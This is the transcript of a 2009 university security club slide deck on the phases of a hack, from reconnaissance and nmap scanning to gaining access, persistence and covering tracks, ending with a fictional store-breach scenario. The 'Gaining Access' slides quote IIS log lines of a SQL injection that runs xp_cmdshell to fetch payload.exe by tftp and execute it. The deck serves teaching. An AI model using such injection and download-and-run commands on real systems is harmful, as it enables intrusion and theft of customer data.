• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content


Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

Like this presentation? Why not share!

Anatomy of the Hack - Hands-on Security | Information Assurance Club






Total Views
Views on SlideShare
Embed Views



0 Embeds 0

No embeds



Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
Post Comment
Edit your comment

    Anatomy of the Hack - Hands-on Security | Information Assurance Club Anatomy of the Hack - Hands-on Security | Information Assurance Club Presentation Transcript

    • Information assurance club
    • Information assurance club
      Anatomy of a Hack: from 0x00 to root
      Thursday, October 29st, 2009
    • Announcements
      Metasploit SeminarThursday, November 5th7:30 PM – 202 IST
      iCTF CompetitionFriday, December 4th
      See listserv email or http://iaclub.ist.psu.edu/ictf for more information and to sign-up!
      Deadline for sign-ups is Friday, November 6th!
    • Announcements
      Dean Feedback SessionTuesday, November 3rd7:00pm to 9:00pm in 110 IST
    • agenda
      The Anatomy of the Hack
      Gaining Access
      Maintaining Access
      Covering Tracks
      Application (Interactive)
    • Essential Terminology
      THREAT – an action or event that might compromise security. A threat is a potential violation of security.
      VULNERABILITY – existence of a weakness, design, or implementation error that can lead to an unexpected and undesirable event compromising the security of the system.
    • Essential Terminology
      ATTACK – an assault on the system security that is derived from an intelligent threat. An attack is any action that violates security.
      EXPLOIT – a defined way to breach the security of an IT system through a vulnerability.
    • Hacker Classes
      Black hats – individuals with extraordinary computing skills, resorting to malicious or destructive activities. Also known as crackers.
      White hats – individuals professing hacker skills and using them for defensive purposes. Also known as security analysts.
      Gray Hats – individuals who work both offensively and defensively at various times.
      Suicide Hackers – individuals who aim to bring down critical infrastructure for a “cause” (Hactivism) and do not worry about punishment.
    • Qualities of a hacker
      Should be proficient with programming and computer networking skills
      Has in-depth knowledge of target platforms, such as Windows, Unix and Linux
      Has exemplary knowledge of networking and related hardware and software
      Should be familiar with vulnerability research
      Should have mastery in different hacking techniques
      In other words, you must be “highly technical” to launch sophisticated attacks
      Should be prepared to follow a strict code of conduct (white hats)
    • Hackers
      “If you know the enemy and know yourself, you need not fear the result of a hundred battles.” -Sun Tzu, Art of War
      A hacker / security professional answers the following:
      What can the intruder see on the target system? (Recon and scanning phases)
      What can the intruder do with that information?(Gaining and Maintaining Access)
      Does anyone at the target notice the intruders’ attempts or successes (Recon and covering tracks)
      Professionals need to know what it is they are trying to protect, against whom, and what resources it is willing to expend in order to gain protection.
    • The five phases
      Gaining Access
      Denial of Service
      Network level
      Operating system level / application level
      Maintaining Access
      Uploading / altering / downloading programs or data
      Clearing Tracks
    • Phase 1 - Reconnaissance
      Reconnaissance refers to the preparatory phase where an attacker seeks to gather as much information as possible about a target prior to launching an attack.
      Generally noted as “rattling the door knobs” to see if someone is watching and responding.
      Could be the future point of return, noted for ease of entry for an attack when more about the target is known on a broad scale.
    • Reconnaissance Types
      Passive reconnaissance involves acquiring information without directly interacting with the target.
      Ex: Searching public records or news releases.
      Active reconnaissance involves interacting with the target directly by any means.
      Ex: Telephone calls to help desk or technical departments.
    • Recon Techniques
      Social Engineering
      Dumpster Diving
      Physical Break-ins
      Job search sites (job requirements)
      Google search / Google hacking
      Rich information for passive recon
    • Footprinting
      Footprinting is necessary to systematically and methodically ensure that all pieces of information are identified.
      Footprinting is often the most difficult task in the hacker methodology.
      An attacker spends 90% of the time profiling an organization and another 10% launching the attack.
    • Footprinting
    • Footprinting Tools
      Whois, ARIN, nslookup
      Traceroutes (Neotrace, VisualRoute Trace)
      Guessing internal URLS
    • Robots.txt
      Located in the root folder and holds a list of directories and other resources that a site owner does not want indexed.
      Hackers usually look here first!
      All (most) search engines comply to robots.txt
    • Phase 2 - Scanning
      Scanning refers to the pre-attack phase when the hacker scans the network for specific information on the basis of information gathered during reconnaissance.
      Hackers have to get a single point of entry to launch an attack.
      Scanning can include use of dialers, port scanners, networking mapping, sweeping, vulnerability scanners, etc.
    • Phase 2 - Scanning
      Types of scanning:
      Port scanning – a series of messages sent to a computer to learn about services.
      Network Scanning – a procedure for identifying active hosts on a network.
      Vulnerability Scanning – automated process of proactively identifying vulnerabilities of computing systems.
    • SCAnningPhaseS
    • Checking for live systems
      ICMP scanning – find if hosts are running by pinging them all.
      ICMP scans can be run parallel so they are very fast.
      Tools: Angry IP Scanner, Ping Sweep, Firewalk
      Use Nmap
      Rapidly scans large networks
      Port scanning, OS detection, version detection, ping sweep
      Scans a large number of machines at one time
      Supported by many operating systems
      Carry out all types of port scanning techniques
      Use hping2
      Command line oriented TCP/IP packet assembler/analyzer
      Has a traceroute mode
      Ability to send files between a cover channel
      Firewall testing
      Advanced port scanning
      Network testing, using different protocols, TOS, fragmentation
      Advanced traceroutes
      Remote OS fingerprinting
      Remote uptime guessing
      TCP/IP stacks auditing
      The TCP/IP three way handshake
      SYN -> SYN/ACK -> ACK
      TCP Flags
      SYN – initiates request
      ACK – establishes connection
      PSH – send all buffered data immediately
      URG –packet should be processed immediately
      FIN – no more transmissions
      RST – reset connection
      TCP Connect Scan (-sT)
      Response is SYN/ACK if open, RST if closed.
      SYN Scan (half open scan) (-sS)
      SYN -> SYN/ACK -> RST
      Fewer sites log this type of scan.
      Server responds with RST if port is closed.
      Stealth Scanning
      Fin Scan (-sF)
      Xmas Scan (-sX)
      Null Scan (-sN)
      Return RST if closed, no response if open.
      Called stealth because they send a single frame to a TCP port without handshake.
      Windows didn’t follow RFC 793 (Transmission Control Protocol) so it responds with a RST frame for all queries.
      Idle Scan (-sI)
      Completely blind port scanning! Attackers can actually scan a target without sending a single packet to the target from their own IP address.
      Every IP packet has a “fragment identification” number, which is incremented by the stack.
      Probing the number can tell an attacker how many packets have been sent since the last probe.
      Find a zombie (idle) machine. Spoof packet from zombie, zombie gets SYN/ACK if open and sends RST and increments IPID, gets RST if closed (no increment).
    • Banner grabbing / Fingerprinting
      Determine the operating system on the target
      Active stack fingerprinting
      Based on the fact that OS vendors implement the TCP stack differently.
      Specially crafted packets are sent to remote OS and the response is noted and compared with a database.
      This type of scan is logged.
      Passive fingerprinting
      Indirect methods; Uses sniffing techniques instead of scanning techniques.
      Also based on differential implementation of the stack.
      Less accurate.
    • Scanning for vulnerabilities
      Nessus – most common tool.
      NASL (Nessus attack scripting language).
      Can test unlimited hosts simultaneously.
      Smart service recognition.
      Client–Server architecture.
    • Preparing proxies
      Proxy is a network computer that can serve as an intermediate for connection with other computers.
      As a firewall, a proxy protects the local network from outside access.
      Acts as an IP address multiplexer, allows a connection from a number of computers having only one IP address.
      Anonymous web surfing (to an extent).
      Specialized proxies can filter unwanted content, such as ads or “unsuitable” material.
    • Preparing proxies
      A hacker wants to use a proxy to hide their identity.
      May use multiple proxies (proxy chains).
      HTTP Tunneling
      Allows users to perform various Internet tasks despite restrictions imposed by firewalls.
      This is made possible by sending data through HTTP (port 80).
    • ATTACK!
    • Phase 3 – Gaining Access
      Gaining access refers to the penetration phase. The hacker exploits the vulnerability in the system.
      The exploit can occur over a LAN, the Internet, or as a deception or theft.
      Examples include buffer overflows, denial of service, session hijacking, and password cracking.
      Influencing factors include architecture and configuration of the target system, the skill level of the attacker, and the initial level of access obtained.
      The hacker can gain access at the operating system level, application level, or network level.
    • Enumeration
      Enumeration is defined as extraction of user names, machine names, network resources, shares, and services.
      Enumeration leads to an attack
      Step 1: Enumerate users
      Step 2: Crack the password
      Step 3: Escalate privileges
      Step 4: Execute applications
      Can bypass steps depending on the nature of the exploit.
    • Attack Sophistication
      US GAO report to Congress, “Computer Attacks at Department of Defense Pose Increasing Risks”, May 1996.
    • Attack Sophistication
      CERT - “Information Security as an Institutional Priority” - 2005
    • How to Gain Access
      There are several ways an attacker can gain access to a system.
      The attacker must be able to exploit a weakness or vulnerability in a system.
      Attack Types:
    • Operating System Attacks
      Today’s operating systems are complex in nature.
      Operating systems run many services, ports, and modes of access and require extensive tweaking to lock them down.
      The default installation of most operating systems has large numbers of services running and ports open.
      Applying patches and hotfixes are not easy in today’s complex networks.
      Attackers look for OS vulnerabilities and exploit them to gain access to a network system.
    • Application level attacks
      Software developers are under tight schedules to deliver products on time.
      Extreme Programming is on the rise in software engineering methodology.
      Software applications come with tons of functionalities and features.
      Sufficient time is not there to perform complete testing before releasing products.
      Security is often an afterthought and usually delivered as an “add-on” component.
      Poor or non-existent error checking in applications leads to buffer overflow attacks.
    • Shrink wrap code attacks
      Why reinvent the wheel when you can buy off-the-shelf libraries and code?
      When you install an OS or application, it comes with tons of sample scripts to make the life of an administrator easy.
      The problem is “not fine tuning” or customizing these scripts.
      This will lead to default code or shrink wrap code attack.
    • Misconfiguration attacks
      Systems that should be fairly secure are hacked because they were not configured correctly.
      Systems are complex and the administrator does not have the necessary skills or resources to fix the problem.
      Administrator will create a simple configuration that works.
      In order to maximize your chances of configuring a machine correctly, remove any unneeded services or software.
      If a hacker wants to get inside your system, they will and there is nothing you can do about it.
      The only thing you can do is make it harder for them to get in.
      “If you approach a bear with a friend, you don’t have to outrun the bear… just your friend.”
    • Phase 4 – Maintaining Access
      Maintaining access refers to the phase where the hacker tries to retain ownership of the system.
      The hacker has compromised the system.
      Hackers may harden the system from other hackers as well (to own the system) by securing their exclusive access with backdoors, rootkits, or trojans.
      Hackers can upload, download, or manipulate data, applications, and configurations on the owned system.
    • Phase 5 – Covering Tracks
      Covering tracks refers to the activities that the hacker does to hide their actions.
      Reasons include the need for prolonged stay, continued use of resources, removing evidence of hacking, or avoid legal action.
      Examples include steganography, tunneling, and altering log files.
    • Log Files
      Windows logs
      SECEVENT.EVT (security)
      Failed logins, accessing files without privileges
      SYSEVENT.EVT (system)
      Driver failure, things not operating correctly
      APPEVENT.EVT (applications)
      Linux/Unix Logs
      UTMP (information about current users)
      WTMP (logins and logouts)
      LASTLOG (last login)
    • Application (Interactive)
      Think like a hacker! Use your background knowledge to figure out how the hacker compromised this fictional company.
      Scenario: An online store had their database compromised and customer’s credit card data stolen. The hacker knew nothing initially but the name of the target company.
    • Phase 1 - Reconnaissance
      What can the hacker learn about the target?
      Where should they look for information?
    • Phase 1 - Reconnaissance
      Hacker learns as much as they can about the company from online resources.
      Resolves IP address of the domain name.
      WHOIS information is private, no action taken.
      Finds job posting for a Windows Administrator with familiarity operating IIS and MSSQL.
    • Phase 2 - SCANNING
      What should the hacker scan?
      What are some tools they could use?
    • Phase 2 - SCANNING
      The hacker uses nmap to map the network.
      Finds only the webserver and a few other hosts in the DMZ. Firewall blocks remote access to internal network.
      Hacker fingerprints the webserver.
      Running IIS 7.0 and ASP.
      Locked down; ports closed and no extra services running.
      Scans for vulnerabilities.
      Systems are patched.
    • Network Diagram
    • Phase 3 - Gaining Access
      What might the hacker do now?
      What type of attack could they launch?
      Operating System
      Shrink Wrap
    • Phase 3 - Gaining Access
      The hacker finds a SQL injection vulnerability in a web application.
      This is confirmed by looking at the IIS logs:
      2009-10-29 05:50:25 W3SVR1 GET
      /members/profile.asp action=show&id=16705946’ -- 80 - HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-
      US;+rv: 500 0 0
      2009-10-29 05:55:13 W3SVR1 GET
      /members/profile.asp action=show&id=16705946'
      ;exec master..xp_cmdshell 'echo tftp^&^& echo open
      ^&^& echo user h@ck3r ^&^& echo uber1337 ^&^& echo get payload.exe
      ^&^& echo quit%3Eexecute.bat'-- |331|80130e62|
      Incorrect_syntax_near_the_keyword_'ORDER BY' 80 -
      HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.8.1.
    • Phase 3 - Gaining Access
      2009-10-29 06:15:36 W3SVR1 GET
      /members/profile.asp action=show&id=16705946;
      ost.exe'-- 80 - HTTP/1.1 Mozilla/5.0+(Win
      27+Firefox/ 500 0 0
    • Phase 3 - Gaining Access
      The hacker has been able to transfer binaries to the web server and execute system commands.
      The hacker cannot connect directly to the database server as it is configured to only allow connections from the internal network and the webserver, but once the webserver is compromised the hacker can use it to extract database information.
    • Phase 4 - Maintaining Access
      How can the hacker maintain access to the system?
    • Phase 4 - Maintaining Access
      The hacker can maintain access by installing rootkits or backdoors.
      The hacker may also harden the system to prevent SQL injection attacks similar to the ones they used.
    • Phase 5 - Covering Tracks
      The hacker erased firewall and IDS logs as well as the audit logs on the system, but they forgot to edit the IIS connection logs.
      What are the consequences of this action, from both the hacker’s and the system administrator’s perspectives?
    • Conclusions
      Hacking is an art, not a science.
      Hackers need only a single point of entry.
      You’re only as strong as your weakest link.
      Where there’s a will, there’s a way.
      Never underestimate a Hacker’s determination.
      Security should never be an afterthought.